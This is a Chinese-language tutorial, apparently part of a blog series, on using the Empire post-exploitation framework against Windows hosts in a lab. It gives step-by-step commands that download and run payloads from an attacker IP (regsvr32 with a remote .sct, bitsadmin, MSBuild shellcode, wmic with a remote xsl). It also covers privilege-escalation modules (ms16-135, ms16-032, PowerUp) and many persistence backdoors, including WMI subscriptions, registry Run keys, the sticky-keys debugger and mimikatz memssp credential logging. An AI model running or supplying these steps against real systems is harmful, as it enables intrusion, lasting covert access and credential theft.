本章前提:已成功設置監聽器(如何設置監聽器請看day14篇)html
介紹:Regsvr32命令用於註冊COM組件,是Windows系統提供的用來向系統註冊控件或者卸載控件的命令,以命令行方式運行。WinXP及以上系統的regsvr32.exe在windows\system32文件夾下;2000系統的regsvr32.exe在winnt\system32文件夾下。git
用法:regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllnamegithub
1) usestager windows/launcher_sct 進入windows/launcher_sct模塊shell
2) 設置一下參數windows
set Listener kali安全 set OutFile /var/www/html/xx.sct框架 |
3) execute 執行工具
4) 在靶機上運行 regsvr32 /u /n /s /i:http://192.168.227.129/xx.sct scrobj.dllui
5) 成功返回會話spa
遠程下載:bitsadmin /transfer /n http://IP/xx.vbs path
1) usestager windows/launcher_vbs 進入windows/launcher_vbs模塊
2) 設置一下參數
3) execute 執行
4) 在靶機上運行
bitsadmin /transfer n http://192.168.227.129/xx.vbs C:\Users\xxx\Desktop\xx.vbs
5) 靶機執行.vbs文件,成功反彈會話
MSBuild是一個免費的開源構建工具集,用於管理本地C++代碼.在Visual Studio2013以前,MSBuild是做爲.NET框架的一部分,可是在其以後,MSBuild被綁定到了Visual Studio.因此,Visual Studio依賴於MSBuild,可是MSBuild並不依賴於Visual Studio。
用法:利用net4.0以後的版本中的MSBuild運行注入shellcode的xml文件反彈shell。
1) 跟前面兩個操做同樣生成xml文件到/var/www/html/文件夾下
2) 在靶機上下載該文件
3) 在靶機上cd到C:\Windows\Microsoft.NET\Framework64\v4.0.30319\使用MSBuild運行xml
4) 成功反彈會話
WMIC擴展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了從命令行接口和批命令腳本執行系統管理的支持。
用法:wmic os get /format:"http://IP/xx.xsl"
1) 跟前面兩個的操做步驟同樣將生成的xsl存到html文件夾下
2) 在靶機上執行wmic os get /format:"http://192.168.227.129/xx.xsl"
3) 成功反彈會話
uac和bypassuac在day14有介紹
本地提權
若要利用此漏洞,攻擊者必須登陸到受影響的系統並運行經特殊設計的應用程序。此安全更新 程序經過更正 Windows 內核處理內存地址的方式來修復這個漏洞。
searchmodule ms16-135 查找ms16-135模塊
usemodule privesc/ms16-135 使用模塊
設置完參數後執行
成功反彈擁有特權的會話
若是 Windows 輔助登陸服務未能正確管理內存中的請求句柄,Microsoft Windows 中會存在 一個特權提高漏洞。 成功利用此漏洞的攻擊者可以以管理員身份運行任意代碼。
usemodule privesc/ms16-032 使用模塊
設置完參數執行
成功返回有系統特權的會話
powershell/privesc/sherlock 查找Windows本地特權升級漏洞
usemodule privesc/sherlock 使用該模塊
顯示本地特權升級的漏洞
PowerUp是一個PowerShell工具,可協助Windows系統上的本地特權升級。它包含多種方法來 識別和濫用易受攻擊的服務,以及DLL劫持機會,易受攻擊的註冊表設置和升級機會。它是PowerTools 的一部分,位於https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp。Empire 在privesc / powerup / *模塊中實現了PowerUp的升級功能 。
usemodule privesc/powerup/allchecks 檢測是否能夠利用powerup漏洞
顯示存在漏洞
根據顯示存在的漏洞利用對應模塊
能夠看到存在對服務可執行文件的配置不當權限(可經過service_exe_ *加以利用)
不過這邊我都試過了一遍,不是很好用
介紹:PowerBreach是一系列內存中的PowerShell後門,可爲各類選項提供觸發器。
persistence/powerbreach/deaduser –接受用戶名和關於用戶名是不是域名(相對於本地賬戶)的開關/標誌。腳本每隔Sleep秒就會檢查賬戶是否仍然存在,若是不存在則觸發登臺邏輯。該後門不須要本地管理員權限。
理解:判斷你設置的用戶名是否存在(有沒有被更名或者刪除),當被更名的時候會就觸發該腳本反彈shell
usemodule persistence/powerbreach/deaduser 使用模塊
查看所需參數
設置相關參數
執行
把aaa改爲了bbb
成功反彈shell
persistence/powerbreach/eventlog - 事件日誌–按時間間隔查詢安全事件日誌,以查找具備惟一觸發器值的事件。此後門DOES須要管理員權限才能訪問安全事件日誌。
usemodule persistence/powerbreach/eventlog* 使用模塊
查看所需參數
設置相關參數
執行
打開靶機的eventvwr,當安全日誌中存在HACKER(上面參數定義的能夠本身更改)關鍵字時
成功反彈會話
因爲是管理員權限留下的後門,因此返回的會話也擁有管理員權限
persistence/powerbreach /resolver –須要解析的主機名和觸發IP。腳本每隔睡眠秒數檢查一次主機名是否解析爲觸發IP,不然將觸發暫存邏輯。該後門不須要本地管理員權限。
usemodule persistence/powerbreach/resolver 使用模塊
查看所需參數
設置相關參數
執行
靶機上去訪問一下127.0.0.1,讓他進行解析
成功反彈shell
persistence/userland/ * 模塊容許用戶態,從重啓的持久性(即無需管理權限)。若是指定了偵聽器,則會自動生成Empire代理的登臺代碼並將其用做觸發的腳本邏輯。
persistence/userland /registry –在HKCU:Software\Microsoft\Windows\CurrentVersion\Run中設置一個值,以在選擇的任何存儲機制下執行腳本。僅當該用戶登陸時,這將致使腳本運行。
usemodule persistence/userland/registry 使用模塊
查看所需參數
設置相關參數
執行
將靶機註銷從新登陸,成功返回shell會話(這裏用戶登陸的時候會有短暫的powershell彈框)
persistence/userland/schtask –配置計劃的任務以在選擇任何存儲機制的狀況下執行腳本。該腳本能夠在DailyTime(HH:mm格式)下觸發,或者在用戶閒置IdleTime秒後觸發
理解:這個是放註冊表中的計劃任務
usemodule persistence/userland/schtasks 使用模塊
查看所需參數
設置相關參數
執行
將靶機註銷從新登陸,等設置的時間到,成功返回shell會話
persistence/elevated/*模塊容許重啓的持久性從升高的上下文(即具備管理特權)。若是指定了偵聽器,則會自動生成Empire代理的登臺代碼並將其用做觸發的腳本邏輯。
理解:該模塊是擁有管理員權限留下的擁有權限的後門
persistence/elevated/registry、persistence/elevated/schtask,這兩個用法和以前的同樣,只不過須要管理員權限
persistence/elevated/wmi–配置永久WMI訂閱以激發存儲的腳本邏輯。該腳本能夠在DailyTime(HH:mm格式)或使用AtStartup啓動系統時觸發。這具備難以檢測/去除的等級。
理解:這個是放註冊表中的計劃任務
usemodule persistence/elevated/wmi* 使用模塊
查看所需參數
設置相關參數
執行
將靶機上驗證wmi,在powershell中直接輸入Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter 「Name=’Updater’」
重啓靶機,成功反彈有管理員權限的shell
persistence/misc/debugger*-在empire3.6.0版本中把persistence/ debugger / * 模塊整合到了persistence/misc/debugger*模塊中。您能夠爲RDP提示符下登陸前可訪問的各類可執行文件設置「映像文件執行選項」(又名調試器)。默認狀況下,調試器設置爲cmd.exe,它使您能夠觸發經過RDP以SYSTEM身份運行的命令提示符,而無需實際登陸計算機。您還可使用Binary參數指定另外一個二進制文件的路徑。若是要調試器觸發暫存器,請設置Listener參數。這將爲指定的偵聽器生成一個合適的暫存器,並將其存儲到指定的RegPath中。而後,您能夠從RDP提示預身份驗證中觸發這些登臺程序,可是請注意,一旦關閉RDP提示(在不活動30秒後發生),登臺的代理將被殺死。
usemodule persistence/misc/debugger* 使用模塊
查看所需參數
設置參數
執行
在靶機win7登陸界面按5次shift,有個powershell的框一閃而過
成功返回會話,而且是管理員權限
persistence/misc/memssp –安裝Mimikatz的memssp模塊,該模塊應將全部身份驗證事件註銷到C:\ Windows \ System32 \ mimisla.log。應該從新引導持久。
usemodule persistence/misc/memssp* 使用模塊
直接運行就能夠了
靶機對應目錄生成了mimisla.log文件
persistence/misc/disable_machine_acct_change –禁止目標更改其計算機賬戶密碼。若是首先運行mimikatz/credentials/logonpasswords來轉儲計算機賬戶密碼(賬戶以$結尾),則您應該具備對給定系統的持久訪問權限。清理選項也可用。
使用該模塊後直接運行就能夠了